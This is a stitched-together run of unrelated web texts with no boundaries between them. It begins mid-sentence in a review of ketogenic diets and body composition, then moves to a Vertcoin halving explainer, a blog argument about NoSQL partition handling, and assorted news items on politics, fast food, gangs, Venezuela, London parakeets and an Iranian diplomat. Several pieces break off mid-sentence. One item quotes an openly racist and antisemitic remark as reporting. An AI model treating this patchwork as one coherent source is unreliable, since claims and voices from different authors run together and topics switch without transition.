hypocaloric conditions. This is not too surprising, considering that protein is known to be the most satiating macronutrient [54]. A prime example of protein’s satiating effect is a study by Weigle et al. [55] showing that in ad libitum conditions, increasing protein intake from 15 to 30% of total energy resulted in a spontaneous drop in energy intake by 441 kcal/day. This led to a body weight decrease of 4.9 kg in 12 weeks. With scant exception [56], all controlled interventions to date that matched protein and energy intake between KD and non-KD conditions have failed to show a fat loss advantage of the KD [51, 53, 57–60]. A recent review by Hall [61] states, “There has never been an inpatient controlled feeding study testing the effects of isocaloric diets with equal protein that has reported significantly increased energy expenditure or greater loss of body fat with lower carbohydrate diets.” In light of this and the previously discussed research, the ‘special effects’ of LCD and KD are not due to their alleged metabolic advantage, but their higher protein content. Perhaps the strongest evidence against the alleged metabolic advantage of carbohydrate restriction is a recent pair of meta-analyses by Hall and Guo [60], which included only isocaloric, protein-matched controlled feeding studies where all food intake was provided to the subjects (as opposed to self-selected and self-reported intake). A total of 32 studies were included in the analysis. Carbohydrate ranged from 1 to 83% and dietary fat ranged from 4 to 84% of total energy. No thermic or fat loss advantage was seen in the lower-CHO conditions. In fact, the opposite was revealed. Both energy expenditure (EE) and fat loss were slightly greater in the higher-CHO/lower-fat conditions (EE by 26 kcal/day, fat loss by 16 g/d); however, the authors conceded that these differences were too small to be considered practically meaningful. A common criticism of the existing literature is that trials need to run longer (several months instead of several weeks) to allow sufficient “ketoadaptation,” which is a physiological shift toward increased fat oxidation and decreased glycogen utilization [62]. The problem with this claim is that the rise in fat oxidation – objectively measured via decreased respiratory quotient – reaches a plateau within the first week of a KD [51]. Increased oxidation of free fatty acids, plasma triacylglycerol, and intramuscular triacylglycerol during exercise is a well-established response to fat-rich diets [63]. However, this rise in fat oxidation is often misconstrued as a greater rate of net FM reduction. This assumption ignores the concomitant increase in fat intake and storage. As a result of fat-adaptation, increased intramuscular triacylglycerol levels indicate increased fat synthesis over degradation during the rest periods between exercise bouts [64]. To reiterate a previous point, rigorously controlled isocaloric, protein-matched studies have consistently demonstrated that ketoadaptation does not necessarily amount to a net decrease in fat balance, which is ultimately what matters. If there is any advantage to KD over non-KD for fat loss, it is potentially in the realm of appetite regulation. Under non-calorically restricted conditions, KD has consistently resulted in body fat and/or body weight reduction [65–69]. This occurs via spontaneous energy intake reduction, which could be due to increased satiety through a suppression of ghrelin production [70]. Moreover, KD has demonstrated hunger-suppressive effects independent of protein content. In a 4-week crossover design, Johnstone et al. [66] found that a KD consumed ad libitum (without purposeful caloric restriction) resulted in an energy intake reduction of 294 kcal/day. The latter results were seen despite a relatively high protein intake (30% of energy) matched between KD (4% CHO) and non-KD (35% CHO) conditions. In further support of this idea, a meta-analysis by Gibson et al. [71] found that KD suppresses appetite more than VLED. However, it remains unclear whether the appetite suppression is due to ketosis or other factors such as an increased protein or fat intake, or restriction of carbohydrate. An area of growing interest is the effect of KD on athletic performance. Since training capacity has the potential to affect body composition, the effect of KD on exercise performance warrants discussion. Carbohydrate restriction combined with high fat intake to become fat-adapted (or ketoadapted) is a tactic that attempts to improve performance by increasing the body’s reliance on fat as fuel, thereby sparing/decreasing glycogen use, which ostensibly could improve athletic performance. However, in contrast to the proposed benefits of fat-adaptation on performance, Havemann et al. [72] found that 7 days of a high-fat diet (68%) followed by 1 day of high-CHO diet (90%) expectedly increased fat oxidation, but decreased 1-km sprint power output in well-trained cyclists. Stellingwerff et al. [73] compared substrate utilization, glycogenolysis, and enzymatic activity from either 5 days of a high-fat diet (67%) or high-CHO (70%) followed by one day of high-CHO with no training, followed by experimental trials on the seventh day. The high-fat diet increased fat oxidation, but also lowered pyruvate dehydrogenase activity and decreased glycogenolysis. These results provide a mechanistic explanation for the impairment in high-intensity work output as a result of high-fat, CHO-restricted diets [62, 65, 67]. Recently, an ergolytic effect from ketoadaptation has been observed at lower intensities as well. Burke et al. [74] reported that after 3 weeks on a KD at a slight energy deficit, elite race walkers showed increased fat oxidation and aerobic capacity. However, this was accompanied by a reduction in exercise economy (increased oxygen demand for a given speed). The linear and non-linear high-CHO diets in the comparison both caused significant performance improvements, while no significant improvement was seen in the KD (there was a nonsignificant performance decrease). It is notable that Paoli et al. [75] found no decrease in bodyweight-based strength performance in elite artistic gymnasts during 30 days of KD. Furthermore, the KD resulted in significant loss of FM (1.9 kg) and non-significant gain of LM (0.3 kg). However, unlike Burke et al.’s study, which equated protein between groups (~2.2 g/kg), Paoli et al.’s protein intakes were skewed in favor of the KD (2.9 vs. 1.2 g/kg). Wilson et al. [56] recently reported similar increases in strength and power in a protein and calorie-matched comparison of a KD and a Western diet model, suggesting that KD might have less ergolytic potential for strength training than it does for endurance training.
Where do Vertcoins come from?
Before I dive into the specifics of halving, let’s address a simple yet commonly misunderstood concept: Where do new Vertcoins come from? Within every block that is mined and added to the blockchain, there is a transaction that contains a 50 VTC mining reward. This reward is sent to the miner (or miners in a pool) that solve this block. When you mine VTC you’re receiving brand new freshly created Vertcoins. This translates to roughly 28,800 new VTC created and added to the total supply daily.
Vertcoin has a max supply of 84,000,000, four times the max supply of Bitcoin. Every 4 years the subsidy will half until the last Vertcoin is emitted. Like gold there is a finite supply of Vertcoin making it a deflationary asset. This means with time, every Vertcoin increases in rarity, become harder to obtain and ultimately increases in value.
How does this affect miners
So the mining reward is being cut in half, as a miner, does this mean I’ll receive less coins from mining?
In short, yes. At halving, assuming the number of miners and hash rate remains somewhat consistent, everyone should expect less VTC paid out compared to the blocks prior. This will invariably cause a drop in network hash due to miners shutting down their rigs as they will find mining not be as profitable. Within a few blocks however, the mining difficulty will also drop due to there being less miners on the network and we should expect miner and hash rate to eventually find an equilibrium relative to the price at the time.
Mining rewards aren’t the only way miners are paid however. Miners are paid with both the block reward and transaction fees associated with each transaction within the mined block.
The assumption here is, as time goes on, transaction volume and network hash will increase, slowly shifting miner payouts from block rewards to transaction fees. Because Vertcoin rarely has a full block, we are paying very low fees and are almost guaranteed to have our transactions picked up in the next mined block. Unlike Bitcoin where nearly every block is full and to guarantee your transaction to be picked up quickly, you have to pay slightly higher transaction fees.
To compare Vertcoin to Bitcoin, today on average each mined Vertcoin block contains a block reward of 50 VTC + transactions fees averaging around 0.05 VTC. Bitcoin on the other hand currently is currently paying miners a 12.5 BTC block reward and averaging 4.3 BTC in transaction fees.
Price
Great, I understand what the halving is and it’s effect on miners and rewards, but what about investors? Should I expect the price to be impacted by the halving at all?
Alex Popescu disagrees with my post on the distinction between partition-obliviousness and partition-tolerance, and brings up an interesting discussion:
The post presents a very dogmatic and radical perspective on what the requirements of both applications and distributed databases must be. I cannot agree with most of it if only for the reason it’s using the “bank example”.
While I'll be the first to admit that I use colorful language and metaphors, my perspectives typically come straight out of Distributed Systems 101. Half the reason why I started this blog is that there is a big discrepancy between what people who have studied distributed systems know, and what is being said in the marketing materials of various vendors. And every time I say anything that is slightly different from the orthodox academic view, my colleagues jump on my case, like they did when I suggested that examples and tutorials could form part of a specification (Oh the heresy! I can see that I will never get a named chair at Cornell with that kind of talk. Keep on talking like this, and I'm destined for a lifetime of university committee work!). So call me anything, but a "radical" is just way off.
Take the bank example. It is mentioned within the first 10 pages of every single database book I know of. It's part of our common DNA. To pretend that it does not exist, or that the NoSQL space is so different that we should forget what we know in terms of simple applications, seems odd.
Now, Alex has a very good point, even though he's not as explicit about it as I would like; namely, many first-generation NoSQL stores are not meant for, and should never be deployed in any application that is trying to maintain a high-level service invariant in the presence of partitions. Why? Because their weak properties render them wholly unsuitable. Does that mean that NoSQL vendors are clearly admitting what Alex is saying? No, even Alex isn't explicit about the point he's conceding. Does it mean that Alex's message is well-understood in the developer community and people are avoiding such deployments? Sadly, not at all. Here's a whole lot of word soup, for instance, on how to use Couchbase to simulate "transactions". I'll leave it up to the readers to point out the different ways that the suggested pattern will fail, but the bottom line is that people are actively mis-deploying NoSQL solutions. The bank example is useful because everyone understands how it ought to work, and can see how Banko Dynamo will run into problems when it's partitioned.
And to be clear, I provided some other applications as well. One was Ticketmaster. The other was EBay. Yet another was data analytics.
Perhaps some view NoSQL as a niche solution that is forever limited to non-demanding applications. I disagree with this and believe that NoSQL has the potential to supplant RDBMSs and capture the bulk of the database market. The "daddy knows best" attitude that RDBMSs bring to data management, the way they strip all information that the developer had about her data and force her to write a declarative specification of what she wants, only to try to then come up with an efficient evaluation plan in the query optimizer, all reflect a klunky aesthetic to system design that the lean and mean NoSQL movement can and will supplant. NoSQL is to RDBMSs what Unix was to Multics. But if we are to see this happen in our lifetimes, we should not hesitate to think big. Why shouldn't it be possible for NoSQL to tackle the big boys and serve as the sole data store for Ticketmaster or EBay or Bank of America or Goldman? Sure, one cannot do this with Mongo, but there are alternatives.
And even when we look at other, easier applications, we see the same problems; they just take a lot longer to set up and describe because they're not part of our DNA. For example, take a user discussion forum, like reddit. Processing a user post typically involves many lookups and multiple writes. Everyone realizes that there is one write to the subreddit and a corresponding update to the user's summary page. One might claim that, perhaps, it's quite ok for the user summary page to not be in perfect agreement with the discussion forum if the reddit cluster is partitioned. But what about duplicate URL detection? Post ID generation? Spam detection? The problem is that most people don't know how reddit checks for dupes or performs spam detection, or how it would do the same when it gets moved to NoSQL, so the examples get bloated. The bank example isolates the same issues without a complicated back story.
It should be clear that almost every non-trivial application will have some high-level invariants to maintain through partitions. And a partition-oblivious data store, while it may itself operate through a partition, makes it difficult to build partition-tolerant applications on top.
And the real trouble with partition obliviousness is that it happens silently. If I'm running data analytics, and my NoSQL data store decides in the middle of an 8-hour run that some nodes are unreachable, do I even get to find out that I miscomputed my analysis? If I want to know when my computation is not computing the right results, am I a radical? By that logic, are you, the dear reader, not a radical?
Let's take a benign scenario, one that most decidedly does not involve a bank or transactions: my team is currently working with a startup that has a very very very large data corpus. Their application issues a large number of queries and searches to this database. A partition-oblivious data store would return incomplete results, something that cannot be tolerated in this application. I can't imagine how their CTO could sleep well at night if a transient network failure during a long run could cause some GETs to fail silently.
Alex says:
NoSQL databases provide the knobs to tune the availability and consistency to the levels required by many applications. Applications can define more fine grained knobs on top of that.
This is certainly true. In the limit, what you get from a first-gen NoSQL vendor is a data management library, and you can then use all sorts of settings to tweak its behavior. A system like Mongo has more settings than it has modules. This makes it difficult to pin down a discussion, and enables the salesmen to be even more mercurial than they normally would be. It's also true that computers are general-purpose Turing machines, and a careful engineer can take a NoSQL engine, no matter how scrappy, and tweak it (with the aid of settings, or in the limit, by patching it) until it more or less does what she needs. The problem is that these discussions tend to get fuzzy. Good engineers work with a well-understood substrate and they build guarantees on top; they do not handwave. Which is partly why I picked on Dynamo as the prototypical example; it has been published and documented, and therefore acts as a common, non-moving point of reference.
As an aside, there are too many NoSQL systems, and too many settings for each, for me to be "fair" to each individual data store. Some Dynamo-clones, like Riak, are designed by careful engineers who thought deeply about their technological choices, and are sold by people who are careful to specify their limitations -- I suspect that they have happy users because their users are not surprised by sudden, catastrophic let downs of overblown expectations. And by no means is Riak alone, so if you're a good guy and I neglect to mention your system by name, sorry, the space is too crowded to do a thorough job. But the default in the industry seems to be to have documentation lying (pun intended) all around the web, with claims a mile high and the nudge-nudge wink-wink implications piled even higher. Yet the system implementations fall far short. Ask any developer if he understood that what is billed as a partition-tolerant data store is exactly what would keep him from building a partition-tolerant application, and we can then have a discussion over the responses.
In my experience, when a system cannot definitively claim "we provide you with a guarantee on X," instead does a complex song and dance around the topic of X, and requires you to understand its internal implementation to correctly implement what you need, it usually fails at X altogether.
In this case, X is partition management. And I think there's value in being first to point out the difference between the phrase used by salesmen to sell their system (partition tolerance), and the proper term for what the resulting applications end up experiencing (partition-obliviousness).
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“I urge the government that let’s not put onerous regulations that might have existed before. Let’s deregulate and make it a level playing field for everybody," Uber India president Amit Jain said at a panel discussion on ‘Cracking India’s Urban Code’ at the India Economic summit of the World Economic Forum.
“If you have five regulations on supply caps, price restrictions, on other areas that are hurdles to the transportation industry, let’s remove them."
Uber has seen stiff resistance from local black and yellow taxis and has had several run-ins with the government over pricing and permits.
Jain said the challenge is to show regulators and policymakers the benefits of the use of technology for the riders, drivers and the cities at a time when increasing urbanization is pushing up demand for infrastructure and mobility requirements.
“It is not an easy path but it is the only way to get there. The question that they should ask is—is this going to reduce pollution and congestion in cities and make transportation easier? For instance, ride sharing in India is cutting edge and will reduce the number of cars on the road," he said.
Jain added that technological advancement will always outpace regulations.
“To wait for regulations to change before innovations to happen, it is a much longer time period than bringing innovation to technology and then bringing regulators along," he said.
Another panellist, Pratik Agarwal, chief executive officer at Sterlite Power, said that there is no need for a Smart City Mission but what is required is providing basic facilities in cities like water, electricity, connectivity and affordable housing.
Michael had revealed the striking covers for both the trade paperback (at left) and hardcover (right) editions of the upcomnig volume at the Undertow website. About the trade edition he writes:
Very pleased to reveal the cover design for the Trade edition of Shadows & Tall Trees 7 coming March 2017. Art by Yaroslav Gerzhedovich. Design by Vince Haig. The hardcover will have a completely different cover.
And for the hardcover:
Very happy to reveal the cover for the hardback version of Shadows and Tall Trees, Vol. 7. Artwork and design is by the talented Vince Haig. Vince created that font specifically for this project. Kudos to him.
Click the images for bigger versions.
A limited number of earlier volumes of Shadows and Tall Trees are still available at the Undertow website. Number 7 arrives in March 2017.
Dislikes: Traces of turbo lag at low speeds, exhaust note is partially synthesized through the car's audio system.
The all-wheel-drive Golf R is motivated by a potent turbocharged 2.0-liter inline-four—making 288 horsepower and 280 lb-ft of torque—mated to either a six-speed manual or a seven-speed dual-clutch automatic transmission. Despite being less powerful than its direct rivals, the Golf R has plenty of pep, particularly when equipped with its optional automatic transmission, which is unique to this class. The VW can rocket away from stoplights with the auto's easy-to-engage launch-control system, while snappy kickdowns let the R pull off quick passing maneuvers on back roads. The manual version is the purist's alternative and is endlessly satisfying to row through its gears. But it is impossible to ignore the dual-clutch's quicker actions and stronger performance.
BOOM. The Export-Import Bank is now EXPIRED. RT to spread the good news. http://t.co/ZJSO1d64Hk pic.twitter.com/goqjad5SJc — Heritage Action (@Heritage_Action) July 1, 2015
On the Ex-Im Bank’s website, the homepage looks almost like a 404 message, featuring the words “AUTHORITY HAS LAPSED” in big capital letters.
Despite the expired charter, the bank is not completely shuttered. While it cannot make any new loans, Congress already appropriated funds for it through the end of September, and it can continue to manage its preexisting loans, guarantees, and insurance policies. As The New York Times noted, the bank’s doors were open Wednesday morning, and none of its 420 employees were furloughed. The economic implications pale in comparison to a debt default or a government shutdown. And both backers and opponents of the Export-Import Bank acknowledge that the fight over its future is far from over. That’s especially true after the topsy-turvy congressional debate on trade in June, when legislation left for dead was revived—and enacted—barely a week later.
Hours before the midnight deadline, Obama convened a conference call of business leaders to reassure them he was “confident” the bank would eventually be reauthorized. He urged them to speak out and contact members of Congress, and he pushed back against the argument from the right that the bank was a form of corporate welfare. “The notion that this somehow only benefits big companies is wrong,” Obama said, according to The Hill. “This helps small- and medium-sized businesses — and by the way, big companies like Boeing or G.E. have a whole lot of small and medium-sized businesses who are suppliers of theirs.”
Barron says the Duke endorsement is irrelevant "foolishness" that he doesn't want to discuss. Duke's anti-Semitism may have actually damaged the white supremacist's political career, according to a quote from the manager of his 1990 Senate campaign unearthed by Politico. "The Jews just aren’t a big issue in Louisiana," he said. "We keep telling David, stick to attacking the blacks. There’s no point in going after the Jews, you just piss them off and nobody here cares about them anyway." (Read more David Duke stories.)
GoFundMe said today that the "Buy Pat Toomey's Vote" is the top trending campaign on the platform, with donations from all 50 states and the District of Columbia. The campaign has raised $39,839 of $55,800 goal on the strength of
In a week that has become a full court press against Pennsylvania Senator Pat Toomey, there is now a GoFundMe page up and running to buy his potentially pivotal vote in the confirmation of Betsy DeVos, President Donald's Trump's nominee to lead the U.S. Department of Education.
Toomey was thrown into the middle of a heated movement on Wednesday after two Republican senators, Susan Collins of Maine and Lisa Murkowski of Alaska, said they would oppose DeVos's nomination. Criticism of DeVos arose almost immediately over her staunch advocacy of charter schools and education vouchers, a hardline position foes believe could endanger the U.S. public education system. She was also criticized for a lack of knowledge of some of the finer points of the education system.
If three Republicans join 48 Democrats aligned to block DeVos's confirmation, her nomination could be rejected.
Any hope of that happening through Toomey was buried Wednesday afternoon when a spokeswoman said the senator thinks DeVos is a "great pick." Angered constituents immediately pointed out that DeVos has donated $60,500 to Toomey's campaign funds.
Convinced that the senator's support was bought, local costume designer and teaching artist Katherine Fritz set up a GoFundMe page to buy his allegiance back.
"Betsy DeVos has never set foot in a classroom, did not send her children to public school, cannot distinguish between proficiency and growth, and thinks that guns should be allowed in schools in the event of grizzly attacks," Fritz wrote. "That fictitious grizzly is about as qualified as Ms. DeVos to run the Department of Education. If Betsy DeVos can buy Senator Toomey's vote, we should be allowed to do the same."
The campaign is calling for $55,800, a steep hill to climb within the week, but even if that total isn't reached, all funds raised will go to Camp Sojourner, the Pennsylvania Arts Education Network, and the Children's Literacy Initiative.
Fritz posted an update late Wednesday night, voicing surprise that a campaign that began as a joke had raised thousands of dollars. She acknowledged that buying Toomey's vote would be illegal.
Whataburger vs. What-A-Burger?
The two similar-sounding burger restaurants opened in Texas and Virginia at about the same time without knowing a thing about the other. In the '70s, they worked out an agreement in which they both could keep their once-unique-but-suddenly-not-as-much names.
See 10 more things you probably didn't know about Whataburger ... less Whataburger vs. What-A-Burger?
The two similar-sounding burger restaurants opened in Texas and Virginia at about the same time without knowing a thing about the other. In the '70s, they worked out an agreement ... more Photo: Getty Images, Wikimedia Creative Commons License Photo: Getty Images, Wikimedia Creative Commons License Image 1 of / 80 Caption Close Whataburger & What-A-Burger: 2 burger chains share one name 1 / 80 Back to Gallery
Chances are if a Texan heard that Whataburger was putting a food truck on the road they would jump three feet into the air with glee.
It turns out though that there is a regional burger joint in the Carolinas called What-A-Burger that is soon rolling out a food truck of its own to sling burgers.
The Houston Chronicle recently discovered this through a Google alert and our hopes were up for about 30 seconds until we saw it was hundreds of miles from Texas and not in fact a part of the San Antonio-based company.
But it did make us wonder if the East Coast burger chain was infringing on the Texas burger chain’s copyrights. As it turns out they had come to an understanding during the first Nixon administration.
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Whataburger founder Harmon Dobson opened his first burger stand in Corpus Christi in August 1950. At the same time in Newport News, Virginia entrepreneur Jack Branch was opening a What-A-Burger. Branch’s place was open just a bit sooner than Dobson’s.
Branch and his associates began opening additional locations in Virginia, South Carolina, and North Carolina.
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It’s possible the similar names were just blowing in the wind, with Dobson and Branch somehow on the same wavelength hundreds of miles apart.
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It wasn’t until 1970 that the two chains discovered the existence of each other. It appears that the two companies discussed around this time a merger of sorts where the Texas chain would license its name and corporate imagery to W-A-B.
To this day W-A-B locations sport quaint décor and subdued colors, unlike WAB, which sports a brilliant orange paint job and architecture that can be noticed from outer space.
In October, Whataburger corporate communications acknowledged What-A-Burger via email.
“We are aware of What-A-Burger out of North Carolina and we have a co-existence agreement with them that dates back to the 1970s,” they wrote.
According to a court case brought in front of the United States Court of Appeals in late 2003, at one point there was some question about the standing of the Virginia version of W-A-B. The case was reaffirmed in Feb. 2004 that the two chains could co-exist and both parties seemed to be satisfied. The court also decided that it was unlikely anyone would confuse the two chains.
Rappers' songs are partly to blame for horrific abuse of girls and young women in gangs, a Home Office minister suggested today.
Norman Baker said he had been appalled by reports on the “misogynistic” culture in gangs and the “endemic use” of sexual control and violence against girls.
He said he was shocked to learn how girls were seen as “second rank” to boys in many gangs, no matter what their age was.
And he suggested rappers’ treatment of women in their songs and videos were “part of” the cause of the abuse suffered by female gang members.
“That’s certainly not the whole picture, but there is an element of it which can be ascribed to that — and not all rap singers of course,” he told the Standard.
To tackle gangs, drugs and female genital mutilation, the LibDem minister wants the Home Office to focus more on seeking “cultural change” and influencing people’s “mindset”, rather than relying so heavily on legislation and prosecutions of offenders.
After being contacted by a reformed gang member in jail, who offered to help current gang members behind bars to abandon their violent lifestyle, Mr Baker has asked his officials to examine whether such a scheme could be developed.
“It seems to me a kernel of a good idea there,” he said, stressing how gang members are more likely to be swayed by their “peer group” than politicians and Government agencies.
He also wants to explore whether young women who have been victims of sexual abuse in gangs could play a role in helping to prevent other girls suffering a similar fate.
The Standard recently revealed the appalling ordeal inflicted on some girls who are dragged into a gang and then raped and passed around between its members.
Mr Baker is also encouraging the expansion of a project to try to reform wounded gang members.
“I was desperate,” said Ms. Martinez, 57, a clerk at the San Joaquin County Jail. She made an initial payment of $500 and paid another $500 a few weeks later.
Now the house is in foreclosure, and Ms. Martinez is waiting for the sheriff to evict her. She cannot reach the man she paid to modify her loan.
Swindlers Find Growing Market in Foreclosures
Build and promote the eco-socialist and productive economic model, based on a harmonious relationship between human and nature that guarantees the rational, sustainable and optimal use of natural resources while preserving the processes and cycles of nature.
- Venezuela's Second Six-Year Plan (2013-2019)
In June 2012, Venezuela released its draft second six-year plan (English translation). This is a fascinating document: it outlines a program for 21st-century socialism along the following trajectories: consolidate national independence, construct Bolivarian socialism, make Venezuela a social, economic and political power within Latin America and the Caribbean, contribute to the development of a multi-centric and multi-polar international society that guarantees world peace, and a remarkable final section focused on preserving life on the planet via the development of an eco-socialist model of economic production.
In my co-edited volume The Revolution in Venezuela: Social and Political Change Under Chávez (Harvard University Press 2012), I noted that the Bolivarian process was oriented by contradictory commitments to greater economic redistribution, cultural recognition and political representation. For example, despite its flaws, that is, its undermining of traditional democracy, its centralization of power, and its crippling dependence on charismatic leadership, the government has advanced social development in numerous ways. Chávez's policies reduced extreme poverty from 19.9 percent in 1999 to 7.2 percent by 2009 and overall poverty from 50 per cent to 28.5 per cent in the same time period; enacted an anti-sexist and anti-racist constitution that has been followed with numerous policies advancing the cause of women, Venezuelans of African descent and indigenous communities; and has tried to deepen participatory democracy via numerous referenda and citizen engagement in policy-making and implementation.
The second six-year plan demonstrates that the Bolivarians have expanded their radical framework by introducing a substantial commitment to eco-socialism. Here are a few of the proposals that the document makes: promote actions at the national and international levels for the preservation of water sources and reservoirs; support integrated management of watersheds, biodiversity, sustainable management of seas, oceans, and forests; continue to encourage the recognition of the access to water as a human right for all; dismantle and combat the international schemes that promote the corporatization of nature, environmental services and ecosystems. Throughout its time in power, the administration has tried to tackle the various inequalities associated with class, status and power and now it is openly moving to integrate ecological concerns into its policy framework.
The commitment to environmental renewability is predictably, in light of our historical-cultural context, not an unambiguous one: Tamara Pearson has written a thoughtful analysis of this Second Six-Year Plan and notes that while the proposals are rousing they exist in contrast to a number of other objectives in the document. The six-year plan also emphasizes industrialization, doubling the production of petroleum, and accelerating the manufacture of cars. These latter proposals may aid the country's overall social development but will likely not enhance sustainable development. It is unclear how the country will be able to pursue its diverse aims. What is evident is that the Chavistas have stayed in power, despite relentless Venezuelan and international opposition, because for the past 13 years they have put forward broadly popular goals and then found creative ways of fulfilling the majority of them. The government's genius lies in its ability to pursue its social justice goals without being overwhelmed by its external enemies nor undermined by its internal antinomies.
While the commitment to ecological sustainability is in contradiction with numerous desires, from this state it is nonetheless a significant step forward. The Bolivarian process, because of its resilience and its oil wealth, remains at the vanguard of the Latin American left, and perhaps of the global left. Once again via its latest program, Venezuela's leadership has sketched the bridge that progressives of all types need to cross: a genuine alternative to neoliberal modernity will only be found in a creative fusion of ecological aspirations with various struggles for equality.
For those interested in further discussion of the country's newest plan, I will be part of a panel discussion, "A Socialist Alternative? The New Venezuela Post-Election Six-Year Plan and Human Development," organized by the York Institute for Political Economy Initiative, Centre for Social Justice, and the Socialist Project held on Thursday, Dec. 13 at 6:30 p.m. in Room 1 on the second floor of the Centre for Social Innovation at 720 Bathurst Street in downtown Toronto.
Since then efforts from both sides have been made to make a rematch happen but it has failed to materialise thus far for one reason or another. Now it looks like it might finally happen as the official ADCC Facebook page announced the match up:
ADCC will make 2 "masters" superfights on World Championships. Fight time 10min
Eddie Bravo VS Royler Gracie
Mario Sperry VS Renzo Gracie
Mario Sperry vs Renzo Gracie is a pretty great match up as well as both have been pioneers in the BJJ and MMA world with Sperry learning his craft under Carslon Gracie who was known for favouring the top game and almost having a wrestling mindset to the submission game which Sperry took with him when he co-founded Brazilian Top Team that has been home to the Nogueira Brothers, Ricardo Arona and Paulo Filho, to name a few. Sperry was also an early ADCC champion and Absolute (open weight class) champion in 1998. Renzo Gracie should need no introduction having found success in ADCC and MMA as well, his last MMA match being in Abu Dhabi last year against Matt Hughes.
As for the Bravo vs Royler rematch, Royler has still been competing where as Bravo has not competed since the ADCC 2003 tournament. Bravo can train seriously from now until September but just like last time I'd have to chose Gracie as the favourite. Should Bravo win again, don't be surprised if we witness and ego explosion. I'm still somewhat dubious if this will actually happen, but it's certainly the closest its come so far.
Eddie Bravo vs Royler Gracie 1 ADCC 2003 Video:
They started on the margins and colonized the centre. First they were seen in Kingston upon Thames, a leafy suburb on London’s southwestern fringe. Then they moved to neighboring Richmond and squatted the gardens of Hampton Court Palace—the former residence of Henry VIII, Elizabeth I and Charles I—before migrating northward into London proper. Soon they were in Kensington Gardens and Hyde Park, clamoring around Big Ben, massing in Parliament Square. Then they were in the grand Victorian cemetery at Highgate. Then they were up Primrose Hill. Then they were crowding East London’s canals. Then they were everywhere.
In the ten years I have lived in London, the feral population of green parakeets (technically ring-necked parakeets, or psittacula krameri manillensis) has gone from being a curiosity in a couple of neighborhoods to a ubiquitous sight over vast swathes of the city. Amazingly, no one knows where these brightest of London’s settlers actually came from, although there are theories. The most commonly held belief is that they escaped from aviaries and bred spectacularly well, or that an entire flock was released from a film studio during the filming of Katherine Hepburn’s The African Queen in 1951. One story holds that a breeding pair was released in 1968 on Carnaby Street by Jimi Hendrix in a stoned gesture of love. Another theory involves George Michael—maybe the singer’s bird collection escaped from cages in his Hampstead home during a botched burglary.
Fascinated by these urban myths, a friend and I went to Central London to track the birds down. Neither of us had seen one before, though we had heard rumors of sightings—from a friend here, a colleague there, a local newspaper report there—and we ended up in Kensington Gardens on a grey and rainy day, clambering through dense undergrowth to discover their secret lair. There was a chorus of harsh calls, a fleeting flash of green, and we had the feeling that we’d sighted some rare and fabled beast. But once our eyes and ears had attuned, the birds appeared wherever we looked: not only in parks and cemeteries, but swooping down terraced streets, enlivening London’s pigeon-gray with tropical bursts of color. We started to see them near our homes. We saw them in our gardens. Intrigued, we plotted a series of excursions around the city, armed with camera and dictaphone—we called it ‘gonzo ornithology’—to learn as much as we could about these avian arrivals.
In a speech at Calgary's Petroleum Club on Thursday, Mr. Rickford launched an attack on Liberal Leader Justin Trudeau, who this year used the same venue to announce his party's support for a national carbon tax that would be implemented by provinces but designed in an Ottawa-led process. It would include incentives as well as penalties for provinces that failed to do their share.
Prime Minister Stephen Harper has said his government will adopt sector-by-sector regulations, but would impose new emission regulations on the oil industry only if the United States agrees to regulate its industry, and if the oil-producing provinces agreed to the measures.
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Mr. Harper and his ministers and MPs have condemned any proposal for carbon pricing – either through direct levies or cap-and-trade plans – as job-killing taxes that would increase the price of all goods, especially fuel and food.
"To put it simply, if elected, Prime Minister Justin Trudeau would nationally impose a risky unilateral scheme that would, by necessity, require carbon taxes; impose higher prices on every single thing Canadians buy, and would hurt Canada's economy and competitiveness," Mr. Rickford said.
Seizing on Mr. Trudeau's description of his own plan as being similar in design to medicare, the Conservative minister noted that the national health plan now costs $34-billion, and then leapt to the conclusion that a Liberal climate plan would amount to a $34-billion transfer to provinces.
The Harper government is currently preparing a submission to the UN climate secretariat on Canada's target to reduce greenhouse-gas emissions by 2025, and the actions it anticipates federal, provincial and territorial governments will take to get there.
The Obama administration this week said it aims to cut emissions by 28 per cent below 2005 levels by 2025, a figure Canada is unlikely to match.
In an interview, Mr. Rickford insisted Canada will do its share to reduce greenhouse-gas emissions, but will not add costs on an oil industry that is struggling with depressed prices.
"We're not going to put Canada or specific sectors, particular in energy, at a singular disadvantage by implementing some kind of federal carbon pricing scheme," he said.
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"It would put the sector in an extremely disadvantaged position, particularly right now when our biggest customer is also our biggest competitor."
While the Conservative government balks at carbon pricing, provinces are moving forward.
Fans of TLC’s best guilty pleasure 90 Day Fiancé are pissed! After another drama-filled season of the hit reality TV series, viewers were looking forward to the tell-all special, where tea is usually spilled and drama is usually stirred — especially after the 90 Day Fiancé: Happily Ever After tell-all where Jorge Nava hinted that his wife Anfisa Arkhipchenko had a job in the sex industry. But the Season 5 90 Day Fiancé reunion fell flat and fans are blaming host Shaun Robinson — which is why they started a petition to replace her with someone who will make the tell-alls more interesting.
“For years we’ve wrapped up 90 Day Fiancé on a sour note, a show we adore and love maybe a little too much, because of boring tell-all finales,” read the description of the Change.org petition. “There is so much potential for these episodes to be good, we have all these cast members gathered up in one room to talk about it, but the host plays softball and asks pandering or even off-topic questions. It’s such a buzzkill and if no one likes her, how does she keep getting the job?”
At the time of publication, the petition had 236 signatures, which is almost half of the 500 goal and fans did not hold back about their feeling when they left their reasons for signing.
“Shaun is awful!! She hosts a reunion and never pushes for juicy info,” one user wrote. “Nicole’s mom was damn near handing her the info about how much Nicole was sending to Azan but Shaun allowed it to be let go….Really!?!?!?!”
"Genius is nothing more nor less than childhood recaptured at will." Baudelaire
And it could have been left there. But it was a genius move to bring the idea to fruition, and really gives the two fingers to the folks at Facebook, who will retail their Oculus at $350. Cardboard, on the other hand, is free.
The ridiculous device is sure to set young kids and teenager’s imaginations alight. The instructions to construct the mask are online, and you can download the app for free. What this means is you get the app going on your phone, put your phone in your homemade device, complete with eye sockets, and then attach the low-tech device to your face. The app lets you look at popular Google services such as YouTube and Google Earth in a VR environment. I certainly wish I was able to build my own Virtual Reality headset when I was younger.
Brazil says it will seek an explanation from Iran after an Iranian diplomat was accused of molesting underage girls at a swimming pool in Brasilia.
The Iranian official was questioned by police following complaints from parents but released after invoking diplomatic immunity.
Iran's embassy denied the allegations, and said they were the result of a "cultural misunderstanding".
Brazilian Foreign Minister Antonio Patriota called them "very worrying".
The un-named Iranian diplomat was accused of inappropriately touching girls between 9 and 15 years old at a pool in a private club last weekend, Brazilian media reported.
The father of one of the girls told the G1 website that the diplomat was almost lynched by angry parents before security staff intervened.
"People wanted to kill him," the unnamed father said.
'Unacceptable'
